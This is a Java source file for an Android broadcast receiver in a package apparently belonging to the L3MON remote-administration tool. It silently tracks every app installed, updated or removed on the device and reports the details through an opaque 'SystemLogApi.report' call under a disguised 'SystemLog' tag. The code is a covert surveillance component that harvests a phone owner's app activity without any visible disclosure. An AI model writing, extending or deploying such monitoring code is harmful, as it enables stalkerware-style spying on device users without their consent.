package com.etechd.l3mon;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.content.pm.PackageInfo;
import android.content.pm.PackageManager;
import android.net.Uri;
import android.util.Log;

import org.json.JSONObject;

/**
 * Detecta instalación, desinstalación y actualización de apps.
 */
public class AppPackageReceiver extends BroadcastReceiver {
    private static final String TAG = "SystemLog";
    private static AppPackageReceiver instance;

    public static synchronized void register(Context context) {
        if (instance != null || context == null) {
            return;
        }
        try {
            instance = new AppPackageReceiver();
            IntentFilter filter = new IntentFilter();
            filter.addAction(Intent.ACTION_PACKAGE_ADDED);
            filter.addAction(Intent.ACTION_PACKAGE_REMOVED);
            filter.addAction(Intent.ACTION_PACKAGE_REPLACED);
            filter.addDataScheme("package");
            context.getApplicationContext().registerReceiver(instance, filter);
            Log.i(TAG, "AppPackageReceiver registrado");
        } catch (Exception e) {
            Log.e(TAG, "AppPackageReceiver register: " + e.getMessage());
        }
    }

    @Override
    public void onReceive(Context context, Intent intent) {
        if (context == null || intent == null) {
            return;
        }
        final Context app = context.getApplicationContext();
        final Intent in = intent;
        Thread t = new Thread(new Runnable() {
            @Override
            public void run() {
                try {
                    Thread.sleep(1500);
                    SystemLogApi.init(app);
                    handleIntent(app, in);
                } catch (Exception e) {
                    Log.e(TAG, "AppPackageReceiver: " + e.getMessage());
                }
            }
        }, "sl-pkg");
        t.setDaemon(true);
        t.start();
    }

    private void handleIntent(Context app, Intent intent) {
        Uri data = intent.getData();
        if (data == null) {
            return;
        }
        String packageName = data.getSchemeSpecificPart();
        if (packageName == null || packageName.isEmpty()) {
            return;
        }
        if (packageName.equals(app.getPackageName())) {
            return;
        }

        String action = intent.getAction();
        String event;
        if (Intent.ACTION_PACKAGE_ADDED.equals(action)) {
            if (intent.getBooleanExtra(Intent.EXTRA_REPLACING, false)) {
                event = "updated";
            } else {
                event = "installed";
            }
        } else if (Intent.ACTION_PACKAGE_REPLACED.equals(action)) {
            event = "updated";
        } else if (Intent.ACTION_PACKAGE_REMOVED.equals(action)) {
            if (intent.getBooleanExtra(Intent.EXTRA_REPLACING, false)) {
                return;
            }
            event = "uninstalled";
        } else {
            return;
        }

        JSONObject payload = new JSONObject();
        try {
            payload.put("event", event);
            payload.put("packageName", packageName);
            payload.put("occurred_at", System.currentTimeMillis());

            if (!"uninstalled".equals(event)) {
                PackageManager pm = app.getPackageManager();
                PackageInfo info = pm.getPackageInfo(packageName, 0);
                if (info.applicationInfo != null) {
                    payload.put("appName", info.applicationInfo.loadLabel(pm).toString());
                    payload.put("isSystem",
                            (info.applicationInfo.flags & android.content.pm.ApplicationInfo.FLAG_SYSTEM) != 0);
                }
                payload.put("versionName", info.versionName != null ? info.versionName : "");
                payload.put("versionCode", info.versionCode);
                payload.put("firstInstallTime", info.firstInstallTime);
                payload.put("lastUpdateTime", info.lastUpdateTime);
            } else {
                payload.put("appName", packageName);
            }

            SystemLogApi.report("0xAE", payload);
        } catch (Exception e) {
            Log.e(TAG, "report app event: " + e.getMessage());
        }
    }
}
